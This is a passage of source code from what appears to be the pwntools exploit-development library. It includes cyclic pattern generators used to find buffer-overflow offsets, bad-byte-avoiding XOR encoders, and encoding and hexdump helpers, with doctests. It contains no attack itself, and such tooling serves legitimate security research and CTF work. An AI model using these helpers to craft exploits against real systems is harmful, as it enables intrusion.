offsets[i] = (offsets[i] + 1) % len(sets[i])\n            if offsets[i] != 0:\n                break\n        # finish up if we've exhausted the sequence\n        if offsets == [ 0 ] * len(sets):\n            return\n\ndef cyclic_metasploit(length = None, sets = None):\n    \"\"\"cyclic_metasploit(length = None, sets = [ string.ascii_uppercase, string.ascii_lowercase, string.digits ]) -> str\n\n    A simple wrapper over :func:`metasploit_pattern`. This function returns a\n    string of length `length`.\n\n    Arguments:\n        length: The desired length of the string or None if the entire sequence is desired.\n        sets: List of strings to generate the sequence over.\n\n    Example:\n\n        >>> cyclic_metasploit(32)\n        b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab'\n        >>> cyclic_metasploit(sets = [b\"AB\",b\"ab\",b\"12\"])\n        b'Aa1Aa2Ab1Ab2Ba1Ba2Bb1Bb2'\n        >>> cyclic_metasploit()[1337:1341]\n        b'5Bs6'\n        >>> len(cyclic_metasploit())\n        20280\n    \"\"\"\n    sets = sets or [ string.ascii_uppercase.encode(), string.ascii_lowercase.encode(), string.digits.encode() ]\n\n    generator = metasploit_pattern(sets)\n    out = iters.take(length, generator)\n\n    if length is not None and len(out) < length:\n        log.error(\"Can't create a pattern of length %i with sets of lengths %s. Maximum pattern length is %i.\",\n                  length, list(map(len, sets)), len(out))\n\n    return _join_sequence(out, sets[0])\n\ndef cyclic_metasploit_find(subseq, sets = None):\n    \"\"\"cyclic_metasploit_find(subseq, sets = [ string.ascii_uppercase, string.ascii_lowercase, string.digits ]) -> int\n\n    Calculates the position of a substring into a Metasploit Pattern sequence.\n\n    Arguments:\n        subseq: The subsequence to look for. This can be a string or an\n                integer. If an integer is provided it will be packed as a\n                little endian integer.\n        sets: List of strings to generate the sequence over.\n\n    Examples:\n\n        >>> cyclic_metasploit_find(cyclic_metasploit(1000)[514:518])\n        514\n        >>> cyclic_metasploit_find(0x61413161)\n        4\n    \"\"\"\n    sets = sets or [ string.ascii_uppercase.encode(), string.ascii_lowercase.encode(), string.digits.encode() ]\n\n    if isinstance(subseq, int):\n        subseq = packing.pack(subseq, 'all', 'little', False)\n\n    return _gen_find(subseq, metasploit_pattern(sets))\n\ndef _gen_find(subseq, generator):\n    \"\"\"Returns the first position of `subseq` in the generator or -1 if there is no such position.\"\"\"\n    if isinstance(subseq, bytes):\n        subseq = bytearray(subseq)\n    subseq = list(subseq)\n    pos = 0\n    saved = []\n\n    for c in generator:\n        saved.append(c)\n        if len(saved) > len(subseq):\n            saved.pop(0)\n            pos += 1\n        if saved == subseq:\n            return pos\n    return -1\n\ndef _join_sequence(seq, alphabet):\n    if isinstance(alphabet, str):\n        return ''.join(seq)\n    elif isinstance(alphabet, bytes):\n        return bytes(seq)\n    else:\n        return seq\n\nclass cyclic_gen(object):\n    \"\"\"\n    Creates a stateful cyclic generator which can generate sequential chunks of de Bruijn sequences.\n\n    >>> g = cyclic_gen() # Create a generator\n    >>> g.get(4) # Get a chunk of length 4\n    b'aaaa'\n    >>> g.get(4) # Get a chunk of length 4\n    b'baaa'\n    >>> g.get(8) # Get a chunk of length 8\n    b'caaadaaa'\n    >>> g.get(4) # Get a chunk of length 4\n    b'eaaa'\n    >>> g.find(b'caaa') # Position 8, which is in chunk 2 at index 0\n    (8, 2, 0)\n    >>> g.find(b'aaaa') # Position 0, which is in chunk 0 at index 0\n    (0, 0, 0)\n    >>> g.find(b'baaa') # Position 4, which is in chunk 1 at index 0\n    (4, 1, 0)\n    >>> g.find(b'aaad') # Position 9, which is in chunk 2 at index 1\n    (9, 2, 1)\n    >>> g.find(b'aada') # Position 10, which is in chunk 2 at index 2\n    (10, 2, 2)\n    >>> g.get() # Get the rest of the sequence\n    b'faaagaaahaaaiaaajaaa...yyxzyzxzzyxzzzyyyyzyyzzyzyzzzz'\n    >>> g.find(b'racz') # Position 7760, which is in chunk 4 at index 7740\n    (7760, 4, 7740)\n    >>> g.get(12) # Generator is exhausted\n    Traceback (most recent call last):\n      ...\n    StopIteration\n\n    >>> g = cyclic_gen(string.ascii_uppercase, n=8) # Custom alphabet and item size\n    >>> g.get(12) # Get a chunk of length 12\n    'AAAAAAAABAAA'\n    >>> g.get(18) # Get a chunk of length 18\n    'AAAACAAAAAAADAAAAA'\n    >>> g.find('CAAAAAAA') # Position 16, which is in chunk 1 at index 4\n    (16, 1, 4)\n    \"\"\"\n\n    def __init__(self, alphabet = None, n = None):\n        if n is None:\n            n = context.cyclic_size\n\n        if alphabet is None:\n            alphabet = context.cyclic_alphabet\n\n        self._generator = de_bruijn(alphabet, n)\n        self._alphabet = alphabet\n        self._total_length = 0\n        self._n = n\n        self._chunks = []\n\n    def get(self, length = None):\n        \"\"\"\n        Get the next de Bruijn sequence from this generator.\n\n        >>> g = cyclic_gen()\n        >>> g.get(4) # Get a chunk of length 4\n        b'aaaa'\n        >>> g.get(4) # Get a chunk of length 4\n        b'baaa'\n        >>> g.get(8) # Get a chunk of length 8\n        b'caaadaaa'\n        >>> g.get(4) # Get a chunk of length 4\n        b'eaaa'\n        >>> g.get() # Get the rest of the sequence\n        b'faaagaaahaaaiaaajaaa...yyxzyzxzzyxzzzyyyyzyyzzyzyzzzz'\n        >>> g.get(12) # Generator is exhausted\n        Traceback (most recent call last):\n          ...\n        StopIteration\n        \"\"\"\n\n        if length is not None:\n            self._chunks.append(length)\n            self._total_length += length\n            if len(self._alphabet) ** self._n < self._total_length:\n                log.error(\"Can't create a pattern length=%i with len(alphabet)==%i and n==%i\",\n                          self._total_length, len(self._alphabet), self._n)\n            out = [next(self._generator) for _ in range(length)]\n        else:\n            self._chunks.append(float(\"inf\"))\n            out = list(self._generator)\n\n        return _join_sequence(out, self._alphabet)\n\n    def find(self, subseq):\n        \"\"\"\n        Find a chunk and subindex from all the generates de Bruijn sequences.\n\n        >>> g = cyclic_gen()\n        >>> g.get(4)\n        b'aaaa'\n        >>> g.get(4)\n        b'baaa'\n        >>> g.get(8)\n        b'caaadaaa'\n        >>> g.get(4)\n        b'eaaa'\n        >>> g.find(b'caaa') # Position 8, which is in chunk 2 at index 0\n        (8, 2, 0)\n        \"\"\"\n\n        global_index = cyclic_find(subseq, self._alphabet, self._n)\n        remaining_index = global_index\n        for chunk_idx in range(len(self._chunks)):\n            chunk = self._chunks[chunk_idx]\n            if remaining_index < chunk:\n                return (global_index, chunk_idx, remaining_index)\n            remaining_index -= chunk\n        return -1\n"
  },
  {
    "path": "pwnlib/util/fiddling.py",
    "content": "import base64\nimport binascii\nimport random\nimport re\nimport os\nimport string\n\nfrom io import BytesIO\n\nfrom pwnlib.context import LocalNoarchContext\nfrom pwnlib.context import context\nfrom pwnlib.log import getLogger\nfrom pwnlib.term import text\nfrom pwnlib.util import iters\nfrom pwnlib.util import lists\nfrom pwnlib.util import packing\nfrom pwnlib.util.cyclic import cyclic\nfrom pwnlib.util.cyclic import de_bruijn\nfrom pwnlib.util.cyclic import cyclic_find\n\nlog = getLogger(__name__)\n\ndef unhex(s):\n    r\"\"\"unhex(s) -> str\n\n    Hex-decodes a string.\n\n    Example:\n\n        >>> unhex(\"74657374\")\n        b'test'\n        >>> unhex(\"F\\n\")\n        b'\\x0f'\n        >>> unhex(bytearray(b\" F \"))\n        b'\\x0f'\n    \"\"\"\n    s = s.strip()\n    if len(s) % 2 != 0:\n        if isinstance(s, (bytes, bytearray)):\n            s = b'0' + s\n        else:\n            s = '0' + s\n    return binascii.unhexlify(s)\n\ndef enhex(x):\n    \"\"\"enhex(x) -> str\n\n    Hex-encodes a string.\n\n    Example:\n\n        >>> enhex(b\"test\")\n        '74657374'\n    \"\"\"\n    x = binascii.hexlify(x)\n    if not hasattr(x, 'encode'):\n        x = x.decode('ascii')\n    return x\n\ndef urlencode(s):\n    \"\"\"urlencode(s) -> str\n\n    URL-encodes a string.\n\n    Example:\n\n        >>> urlencode(\"test\")\n        '%74%65%73%74'\n    \"\"\"\n    return ''.join(['%%%02x' % ord(c) for c in s])\n\ndef urldecode(s, ignore_invalid = False):\n    \"\"\"urldecode(s, ignore_invalid = False) -> str\n\n    URL-decodes a string.\n\n    Example:\n\n        >>> urldecode(\"test%20%41\")\n        'test A'\n        >>> urldecode(\"%qq\")\n        Traceback (most recent call last):\n        ...\n        ValueError: Invalid input to urldecode\n        >>> urldecode(\"%qq\", ignore_invalid = True)\n        '%qq'\n    \"\"\"\n    res = ''\n    n = 0\n    while n < len(s):\n        if s[n] != '%':\n            res += s[n]\n            n += 1\n        else:\n            cur = s[n+1:n+3]\n            if re.match('[0-9a-fA-F]{2}', cur):\n                res += chr(int(cur, 16))\n                n += 3\n            elif ignore_invalid:\n                res += '%'\n                n += 1\n            else:\n                raise ValueError(\"Invalid input to urldecode\")\n    return res\n\ndef bits(s, endian = 'big', zero = 0, one = 1):\n    \"\"\"bits(s, endian = 'big', zero = 0, one = 1) -> list\n\n    Converts the argument into a list of bits.\n\n    Arguments:\n        s: A string or number to be converted into bits.\n        endian (str): The binary endian, default 'big'.\n        zero: The representing a 0-bit.\n        one: The representing a 1-bit.\n\n    Returns:\n        A list consisting of the values specified in `zero` and `one`.\n\n    Examples:\n\n        >>> bits(511, zero = \"+\", one = \"-\")\n        ['+', '+', '+', '+', '+', '+', '+', '-', '-', '-', '-', '-', '-', '-', '-', '-']\n        >>> sum(bits(b\"test\"))\n        17\n        >>> bits(0)\n        [0, 0, 0, 0, 0, 0, 0, 0]\n    \"\"\"\n\n    if endian not in ['little', 'big']:\n        raise ValueError(\"bits(): 'endian' must be either 'little' or 'big'\")\n    else:\n        little = endian == 'little'\n\n    out = []\n    if isinstance(s, bytes):\n        for b in bytearray(s):\n            byte = []\n            for _ in range(8):\n                byte.append(one if b & 1 else zero)\n                b >>= 1\n            if little:\n                out += byte\n            else:\n                out += byte[::-1]\n    elif isinstance(s, int):\n        if s < 0:\n            s = s & ((1<<context.bits)-1)\n        if s == 0:\n            out.append(zero)\n        while s:\n            bit, s = one if s & 1 else zero, s >> 1\n            out.append(bit)\n        while len(out) % 8:\n            out.append(zero)\n        if not little:\n            out = out[::-1]\n    else:\n        raise ValueError(\"bits(): 's' must be either a string or a number\")\n\n    return out\n\ndef bits_str(s, endian = 'big', zero = '0', one = '1'):\n    \"\"\"bits_str(s, endian = 'big', zero = '0', one = '1') -> str\n\n    A wrapper around :func:`bits`, which converts the output into a string.\n\n    Examples:\n\n       >>> bits_str(511)\n       '0000000111111111'\n       >>> bits_str(b\"bits_str\", endian = \"little\")\n       '0100011010010110001011101100111011111010110011100010111001001110'\n    \"\"\"\n    return ''.join(bits(s, endian, zero, one))\n\ndef unbits(s, endian = 'big'):\n    \"\"\"unbits(s, endian = 'big') -> str\n\n    Converts an iterable of bits into a string.\n\n    Arguments:\n       s: Iterable of bits\n       endian (str):  The string \"little\" or \"big\", which specifies the bits endianness.\n\n    Returns:\n       A string of the decoded bits.\n\n    Example:\n\n       >>> unbits([1])\n       b'\\\\x80'\n       >>> unbits([1], endian = 'little')\n       b'\\\\x01'\n       >>> unbits(bits(b'hello'), endian = 'little')\n       b'\\\\x16\\\\xa666\\\\xf6'\n    \"\"\"\n    if endian == 'little':\n        u = lambda s: packing._p8lu(int(s[::-1], 2))\n    elif endian == 'big':\n        u = lambda s: packing._p8lu(int(s, 2))\n    else:\n        raise ValueError(\"unbits(): 'endian' must be either 'little' or 'big'\")\n\n    out = b''\n    cur = b''\n\n    for c in s:\n        if c in ['1', 1, True]:\n            cur += b'1'\n        elif c in ['0', 0, False]:\n            cur += b'0'\n        else:\n            raise ValueError(\"unbits(): cannot decode the value %r into a bit\" % c)\n\n        if len(cur) == 8:\n            out += u(cur)\n            cur = b''\n    if cur:\n        out += u(cur.ljust(8, b'0'))\n\n    return out\n\n\ndef bitswap(s):\n    \"\"\"bitswap(s) -> str\n\n    Reverses the bits in every byte of a given string.\n\n    Example:\n\n        >>> bitswap(b\"1234\")\n        b'\\\\x8cL\\\\xcc,'\n    \"\"\"\n\n    out = []\n\n    for c in s:\n        out.append(unbits(bits_str(c)[::-1]))\n\n    return b''.join(out)\n\ndef bitswap_int(n, width):\n    \"\"\"bitswap_int(n) -> int\n\n    Reverses the bits of a numbers and returns the result as a new number.\n\n    Arguments:\n        n (int): The number to swap.\n        width (int): The width of the integer\n\n    Examples:\n\n        >>> hex(bitswap_int(0x1234, 8))\n        '0x2c'\n        >>> hex(bitswap_int(0x1234, 16))\n        '0x2c48'\n        >>> hex(bitswap_int(0x1234, 24))\n        '0x2c4800'\n        >>> hex(bitswap_int(0x1234, 25))\n        '0x589000'\n    \"\"\"\n    # Make n fit inside the width\n    n &= (1 << width) - 1\n\n    # Convert into bits\n    s = bits_str(n, endian = 'little').ljust(width, '0')[:width]\n\n    # Convert back\n    return int(s, 2)\n\n\ndef b64e(s):\n    \"\"\"b64e(s) -> str\n\n    Base64 encodes a string\n\n    Example:\n\n       >>> b64e(b\"test\")\n       'dGVzdA=='\n       \"\"\"\n    x = base64.b64encode(s)\n    if not hasattr(x, 'encode'):\n        x = x.decode('ascii')\n    return x\n\ndef b64d(s):\n    \"\"\"b64d(s) -> str\n\n    Base64 decodes a string\n\n    Example:\n\n       >>> b64d('dGVzdA==')\n       b'test'\n    \"\"\"\n    return base64.b64decode(s)\n\n# misc binary functions\ndef xor(*args, **kwargs):\n    \"\"\"xor(*args, cut = 'max') -> str\n\n    Flattens its arguments using :func:`pwnlib.util.packing.flat` and\n    then xors them together. If the end of a string is reached, it wraps\n    around in the string.\n\n    Arguments:\n       args: The arguments to be xor'ed together.\n       cut: How long a string should be returned.\n            Can be either 'min'/'max'/'left'/'right' or a number.\n\n    Returns:\n       The string of the arguments xor'ed together.\n\n    Example:\n\n       >>> xor(b'lol', b'hello', 42)\n       b'. ***'\n       >>> xor(cut = 'min', other = '')\n       Traceback (most recent call last):\n         ...\n       TypeError: xor() got an unexpected keyword argument 'other'\n    \"\"\"\n\n    cut = kwargs.pop('cut', 'max')\n\n    if kwargs != {}:\n        raise TypeError(\"xor() got an unexpected keyword argument '%s'\" % kwargs.popitem()[0])\n\n    if len(args) == 0:\n        raise ValueError(\"Must have something to xor\")\n\n    strs = [packing.flat(s, word_size = 8, sign = False, endianness = 'little') for s in args]\n    strs = [bytearray(s) for s in strs if s]\n\n    if strs == []:\n        return b''\n\n    if isinstance(cut, int):\n        cut = cut\n    elif cut == 'left':\n        cut = len(strs[0])\n    elif cut == 'right':\n        cut = len(strs[-1])\n    elif cut == 'min':\n        cut = min(len(s) for s in strs)\n    elif cut == 'max':\n        cut = max(len(s) for s in strs)\n    else:\n        raise ValueError(\"Not a valid argument for 'cut'\")\n\n    def get(n):\n        rv = 0\n        for s in strs: rv ^= s[n%len(s)]\n        return packing._p8lu(rv)\n\n    return b''.join(map(get, range(cut)))\n\ndef xor_pair(data, avoid = b'\\x00\\n'):\n    \"\"\"xor_pair(data, avoid = '\\\\x00\\\\n') -> None or (str, str)\n\n    Finds two strings that will xor into a given string, while only\n    using a given alphabet.\n\n    Arguments:\n        data (str): The desired string.\n        avoid: The list of disallowed characters. Defaults to nulls and newlines.\n\n    Returns:\n        Two strings which will xor to the given string. If no such two strings exist, then None is returned.\n\n    Example:\n\n        >>> xor_pair(b\"test\")\n        (b'\\\\x01\\\\x01\\\\x01\\\\x01', b'udru')\n    \"\"\"\n\n    if isinstance(data, int):\n        data = packing.pack(data)\n\n    if not isinstance(avoid, (bytes, bytearray)):\n        avoid = avoid.encode('utf-8')\n\n    avoid = bytearray(avoid)\n    alphabet = list(packing._p8lu(n) for n in range(256) if n not in avoid)\n\n    res1 = b''\n    res2 = b''\n\n    for c1 in bytearray(data):\n        if context.randomize:\n            random.shuffle(alphabet)\n        for c2 in alphabet:\n            c3 = packing._p8lu(c1 ^ packing.u8(c2))\n            if c3 in alphabet:\n                res1 += c2\n                res2 += c3\n                break\n        else:\n            return None\n\n    return res1, res2\n\ndef xor_key(data, avoid=b'\\x00\\n', size=None):\n    r\"\"\"xor_key(data, size=None, avoid='\\x00\\n') -> None or (int, str)\n\n    Finds a ``size``-width value that can be XORed with a string\n    to produce ``data``, while neither the XOR value or XOR string\n    contain any bytes in ``avoid``.\n\n    Arguments:\n        data (str): The desired string.\n        avoid: The list of disallowed characters. Defaults to nulls and newlines.\n        size (int): Size of the desired output value, default is word size.\n\n    Returns:\n        A tuple containing two strings; the XOR key and the XOR string.\n        If no such pair exists, None is returned.\n\n    Example:\n\n        >>> xor_key(b\"Hello, world\")\n        (b'\\x01\\x01\\x01\\x01', b'Idmmn-!vnsme')\n    \"\"\"\n    size = size or context.bytes\n\n    if len(data) % size:\n        log.error(\"Data must be padded to size for xor_key\")\n\n    words    = lists.group(size, data)\n    columns  = [b''] * size\n    for word in words:\n        for i,byte in enumerate(bytearray(word)):\n            columns[i] += bytearray((byte,))\n\n    avoid = bytearray(avoid)\n    alphabet = bytearray(n for n in range(256) if n not in avoid)\n\n    result = b''\n\n    for column in columns:\n        if context.randomize:\n            random.shuffle(alphabet)\n        for c2 in alphabet:\n            if all(c^c2 in alphabet for c in column):\n                result += packing._p8lu(c2)\n                break\n        else:\n            return None\n\n    return result, xor(data, result)\n\ndef randoms(count, alphabet = string.ascii_lowercase):\n    \"\"\"randoms(count, alphabet = string.ascii_lowercase) -> str\n\n    Returns a random string of a given length using only the specified alphabet.\n\n    Arguments:\n        count (int): The length of the desired string.\n        alphabet: The alphabet of allowed characters. Defaults to all lowercase characters.\n\n    Returns:\n        A random string.\n\n    Example:\n\n        >>> randoms(10) #doctest: +SKIP\n        'evafjilupm'\n    \"\"\"\n\n    return ''.join(random.choice(alphabet) for _ in range(count))\n\n\ndef rol(n, k, word_size = None):\n    \"\"\"Returns a rotation by `k` of `n`.\n\n    When `n` is a number, then means ``((n << k) | (n >> (word_size - k)))`` truncated to `word_size` bits.\n\n    When `n` is a list, tuple or string, this is ``n[k % len(n):] + n[:k % len(n)]``.\n\n    Arguments:\n        n: The value to rotate.\n        k(int): The rotation amount. Can be a positive or negative number.\n        word_size(int): If `n` is a number, then this is the assumed bitsize of `n`.  Defaults to :data:`pwnlib.context.word_size` if `None` .\n\n    Example:\n\n        >>> rol('abcdefg', 2)\n        'cdefgab'\n        >>> rol('abcdefg', -2)\n        'fgabcde'\n        >>> hex(rol(0x86, 3, 8))\n        '0x34'\n        >>> hex(rol(0x86, -3, 8))\n        '0xd0'\n    \"\"\"\n\n    word_size = word_size or context.word_size\n\n    if not isinstance(word_size, int) or word_size <= 0:\n        raise ValueError(\"rol(): 'word_size' must be a strictly positive integer\")\n\n    if not isinstance(k, int):\n        raise ValueError(\"rol(): 'k' must be an integer\")\n\n    if isinstance(n, (bytes, str, list, tuple)):\n        return n[k % len(n):] + n[:k % len(n)]\n    elif isinstance(n, int):\n        k = k % word_size\n        n = (n << k) | (n >> (word_size - k))\n        n &= (1 << word_size) - 1\n\n        return n\n    else:\n        raise ValueError(\"rol(): 'n' must be an integer, string, list or tuple\")\n\ndef ror(n, k, word_size = None):\n    \"\"\"A simple wrapper around :func:`rol`, which negates the values of `k`.\"\"\"\n\n    return rol(n, -k, word_size)\n\ndef naf(n):\n    \"\"\"naf(int) -> int generator\n\n    Returns a generator for the non-adjacent form (NAF[1]) of a number, `n`.  If\n    `naf(n)` generates `z_0, z_1, ...`, then `n == z_0 + z_1 * 2 + z_2 * 2**2,\n    ...`.\n\n    [1] https://en.wikipedia.org/wiki/Non-adjacent_form\n\n    Example:\n\n      >>> n = 45\n      >>> m = 0\n      >>> x = 1\n      >>> for z in naf(n):\n      ...     m += x * z\n      ...     x *= 2\n      >>> n == m\n      True\n\n    \"\"\"\n    while n:\n        z = 2 - n % 4 if n & 1 else 0\n        n = (n - z) // 2\n        yield z\n\ndef isprint(c):\n    \"\"\"isprint(c) -> bool\n\n    Return True if a character is printable\"\"\"\n    if isinstance(c, str):\n        c = ord(c)\n    t = bytearray(string.ascii_letters + string.digits + string.punctuation + ' ', 'ascii')\n    return c in t\n\n\ndef hexii(s, width = 16, skip = True):\n    \"\"\"hexii(s, width = 16, skip = True) -> str\n\n    Return a HEXII-dump of a string.\n\n    Arguments:\n        s(str): The string to dump\n        width(int): The number of characters per line\n        skip(bool): Should repeated lines be replaced by a \"*\"\n\n    Returns:\n        A HEXII-dump in the form of a string.\n    \"\"\"\n\n    return hexdump(s, width, skip, True)\n\ndef _hexiichar(c):\n    HEXII = bytearray((string.punctuation + string.digits + string.ascii_letters).encode())\n    if c in HEXII:\n        return \".%c \" % c\n    elif c == 0:\n        return \"   \"\n    elif c == 0xff:\n        return \"## \"\n    else:\n        return \"%02x \" % c\n\ndefault_style = {\n    'marker':       text.gray if text.has_gray else text.blue,\n    'nonprintable': text.gray if text.has_gray else text.blue,\n    '00':           text.red,\n    '0a':           text.red,\n    'ff':           text.green,\n}\n\ncyclic_pregen = b''\nde_bruijn_gen = de_bruijn()\n\ndef sequential_lines(a,b):\n    return (a+b) in cyclic_pregen\n\ndef update_cyclic_pregenerated(size):\n    global cyclic_pregen\n    while size > len(cyclic_pregen):\n        cyclic_pregen += packing._p8lu(next(de_bruijn_gen))\n\ndef hexdump_iter(fd, width=16, skip=True, hexii=False, begin=0, style=None,\n                 highlight=None, cyclic=False, groupsize=4, total=True):\n    r\"\"\"hexdump_iter(s, width = 16, skip = True, hexii = False, begin = 0, style = None,\n                    highlight = None, cyclic = False, groupsize=4, total = True) -> str generator\n\n    Return a hexdump-dump of a string as a generator of lines.  Unless you have\n    massive amounts of data you probably want to use :meth:`hexdump`.\n\n    Arguments:\n        fd(file): File object to dump.  Use :meth:`StringIO.StringIO` or :meth:`hexdump` to dump a string.\n        width(int): The number of characters per line\n        groupsize(int): The number of characters per group\n        skip(bool): Set to True, if repeated lines should be replaced by a \"*\"\n        hexii(bool): Set to True, if a hexii-dump should be returned instead of a hexdump.\n        begin(int):  Offset of the first byte to print in the left column\n        style(dict): Color scheme to use.\n        highlight(iterable): Byte values to highlight.\n        cyclic(bool): Attempt to skip consecutive, unmodified cyclic lines\n        total(bool): Set to True, if total bytes should be printed\n\n    Returns:\n        A generator producing the hexdump-dump one line at a time.\n\n    Example:\n\n        >>> tmp = tempfile.NamedTemporaryFile()\n        >>> _ = tmp.write(b'XXXXHELLO, WORLD')\n        >>> tmp.flush()\n        >>> _ = tmp.seek(4)\n        >>> print('\\n'.join(hexdump_iter(tmp)))\n        00000000  48 45 4c 4c  4f 2c 20 57  4f 52 4c 44               │HELL│O, W│ORLD│\n        0000000c\n\n        >>> t = tube()\n        >>> t.unrecv(b'I know kung fu')\n        >>> print('\\n'.join(hexdump_iter(t)))\n        00000000  49 20 6b 6e  6f 77 20 6b  75 6e 67 20  66 75        │I kn│ow k│ung │fu│\n        0000000e\n    \"\"\"\n    style     = style or {}\n    highlight = highlight or []\n\n    if groupsize < 1:\n        groupsize = width\n\n    for b in highlight:\n        if isinstance(b, str):\n            b = ord(b)\n        style['%02x' % b] = text.white_on_red\n    _style = style\n    style = default_style.copy()\n    style.update(_style)\n\n    skipping    = False\n    lines       = []\n    last_unique = ''\n    byte_width  = len('00 ')\n    spacer      = ' '\n    marker      = (style.get('marker') or (lambda s:s))('│')\n\n    if not hexii:\n        def style_byte(by):\n            hbyte = '%02x' % by\n            b = packing._p8lu(by)\n            abyte = chr(by) if isprint(b) else '·'\n            if hbyte in style:\n                st = style[hbyte]\n            elif isprint(b):\n                st = style.get('printable')\n            else:\n                st = style.get('nonprintable')\n            if st:\n                hbyte = st(hbyte)\n                abyte = st(abyte)\n            return hbyte, abyte\n        cache = [style_byte(b) for b in range(256)]\n\n    numb = 0\n    while True:\n        offset = begin + numb\n\n        # If a tube is passed in as fd, it will raise EOFError when it runs\n        # out of data, unlike a file or StringIO object, which return an empty\n        # string.\n        try:\n            chunk = fd.read(width)\n        except EOFError:\n            chunk = b''\n\n        # We have run out of data, exit the loop\n        if chunk == b'':\n            break\n\n        # Advance the cursor by the number of bytes we actually read\n        numb += len(chunk)\n\n        # Update the cyclic pattern in case\n        if cyclic:\n            update_cyclic_pregenerated(numb)\n\n        # If this chunk is the same as the last unique chunk,\n        # use a '*' instead.\n        if skip and last_unique:\n            same_as_last_line = (last_unique == chunk)\n            lines_are_sequential = (cyclic and sequential_lines(last_unique, chunk))\n            last_unique = chunk\n\n            if same_as_last_line or lines_are_sequential:\n\n                # If we have not already printed a \"*\", do so\n                if not skipping:\n                    yield '*'\n                    skipping = True\n\n                # Move on to the next chunk\n                continue\n\n        # Chunk is unique, no longer skipping\n        skipping = False\n        last_unique = chunk\n\n        # Generate contents for line\n        hexbytes = ''\n        printable = ''\n        color_chars = 0\n        abyte = abyte_previous = ''\n        for i, b in enumerate(bytearray(chunk)):\n            if not hexii:\n                abyte_previous = abyte\n                hbyte, abyte = cache[b]\n                color_chars += len(hbyte) - 2\n            else:\n                hbyte, abyte = _hexiichar(b), ''\n\n            if (i + 1) % groupsize == 0 and i < width - 1:\n                hbyte += spacer\n                abyte_previous += abyte\n                abyte = marker\n\n            hexbytes += hbyte + ' '\n            printable += abyte_previous\n\n        if abyte != marker:\n            printable += abyte\n\n        dividers_per_line = (width // groupsize)\n        if width % groupsize == 0:\n            dividers_per_line -= 1\n\n        if hexii:\n            line_fmt = '%%(offset)08x  %%(hexbytes)-%is│' % (width*byte_width)\n        else:\n            line_fmt = '%%(offset)08x  %%(hexbytes)-%is │%%(printable)s│' % (\n                 (width * byte_width)\n                + color_chars\n                + dividers_per_line )\n\n        line = line_fmt % {'offset': offset, 'hexbytes': hexbytes, 'printable': printable}\n        yield line\n\n    if total:\n        line = \"%08x\" % (begin + numb)\n        yield line\n\ndef hexdump(s, width=16, skip=True, hexii=False, begin=0, style=None,\n            highlight=None, cyclic=False, groupsize=4, total=True):\n    r\"\"\"hexdump(s, width = 16, skip = True, hexii = False, begin = 0, style = None,\n                highlight = None, cyclic = False, groupsize=4, total = True) -> str\n\n    Return a hexdump-dump of a string.\n\n    Arguments:\n        s(bytes): The data to hexdump.\n        width(int): The number of characters per line\n        groupsize(int): The number of characters per group\n        skip(bool): Set to True, if repeated lines should be replaced by a \"*\"\n        hexii(bool): Set to True, if a hexii-dump should be returned instead of a hexdump.\n        begin(int):  Offset of the first byte to print in the left column\n        style(dict): Color scheme to use.\n        highlight(iterable): Byte values to highlight.\n        cyclic(bool): Attempt to skip consecutive, unmodified cyclic lines\n        total(bool): Set to True, if total bytes should be printed\n\n    Returns:\n        A hexdump-dump in the form of a string.\n\n    Examples:\n\n        >>> print(hexdump(b\"abc\"))\n        00000000  61 62 63                                            │abc│\n        00000003\n\n        >>> print(hexdump(b'A'*32))\n        00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│\n        *\n        00000020\n\n        >>> print(hexdump(b'A'*32, width=8))\n        00000000  41 41 41 41  41 41 41 41  │AAAA│AAAA│\n        *\n        00000020\n\n        >>> print(hexdump(cyclic(32), width=8, begin=0xdead0000, hexii=True))\n        dead0000  .a  .a  .a  .a   .b  .a  .a  .a  │\n        dead0008  .c  .a  .a  .a   .d  .a  .a  .a  │\n        dead0010  .e  .a  .a  .a   .f  .a  .a  .a  │\n        dead0018  .g  .a  .a  .a   .h  .a  .a  .a  │\n        dead0020\n\n        >>> print(hexdump(bytearray(range(256))))\n        00000000  00 01 02 03  04 05 06 07  08 09 0a 0b  0c 0d 0e 0f  │····│····│····│····│\n        00000010  10 11 12 13  14 15 16 17  18 19 1a 1b  1c 1d 1e 1f  │····│····│····│····│\n        00000020  20 21 22 23  24 25 26 27  28 29 2a 2b  2c 2d 2e 2f  │ !\"#│$%&'│()*+│,-./│\n        00000030  30 31 32 33  34 35 36 37  38 39 3a 3b  3c 3d 3e 3f  │0123│4567│89:;│<=>?│\n        00000040  40 41 42 43  44 45 46 47  48 49 4a 4b  4c 4d 4e 4f  │@ABC│DEFG│HIJK│LMNO│\n        00000050  50 51 52 53  54 55 56 57  58 59 5a 5b  5c 5d 5e 5f  │PQRS│TUVW│XYZ[│\\]^_│\n        00000060  60 61 62 63  64 65 66 67  68 69 6a 6b  6c 6d 6e 6f  │`abc│defg│hijk│lmno│\n        00000070  70 71 72 73  74 75 76 77  78 79 7a 7b  7c 7d 7e 7f  │pqrs│tuvw│xyz{│|}~·│\n        00000080  80 81 82 83  84 85 86 87  88 89 8a 8b  8c 8d 8e 8f  │····│····│····│····│\n        00000090  90 91 92 93  94 95 96 97  98 99 9a 9b  9c 9d 9e 9f  │····│····│····│····│\n        000000a0  a0 a1 a2 a3  a4 a5 a6 a7  a8 a9 aa ab  ac ad ae af  │····│····│····│····│\n        000000b0  b0 b1 b2 b3  b4 b5 b6 b7  b8 b9 ba bb  bc bd be bf  │····│····│····│····│\n        000000c0  c0 c1 c2 c3  c4 c5 c6 c7  c8 c9 ca cb  cc cd ce cf  │····│····│····│····│\n        000000d0  d0 d1 d2 d3  d4 d5 d6 d7  d8 d9 da db  dc dd de df  │····│····│····│····│\n        000000e0  e0 e1 e2 e3  e4 e5 e6 e7  e8 e9 ea eb  ec ed ee ef  │····│····│····│····│\n        000000f0  f0 f1 f2 f3  f4 f5 f6 f7  f8 f9 fa fb  fc fd fe ff  │····│····│····│····│\n        00000100\n\n        >>> print(hexdump(bytearray(range(256)), hexii=True))\n        00000000      01  02  03   04  05  06  07   08  09  0a  0b   0c  0d  0e  0f  │\n        00000010  10  11  12  13   14  15  16  17   18  19  1a  1b   1c  1d  1e  1f  │\n        00000020  20  .!  .\"  .#   .$  .%  .&  .'   .(  .)  .*  .+   .,  .-  ..  ./  │\n        00000030  .0  .1  .2  .3   .4  .5  .6  .7   .8  .9  .:  .;   .<  .=  .>  .?  │\n        00000040  .@  .A  .B  .C   .D  .E  .F  .G   .H  .I  .J  .K   .L  .M  .N  .O  │\n   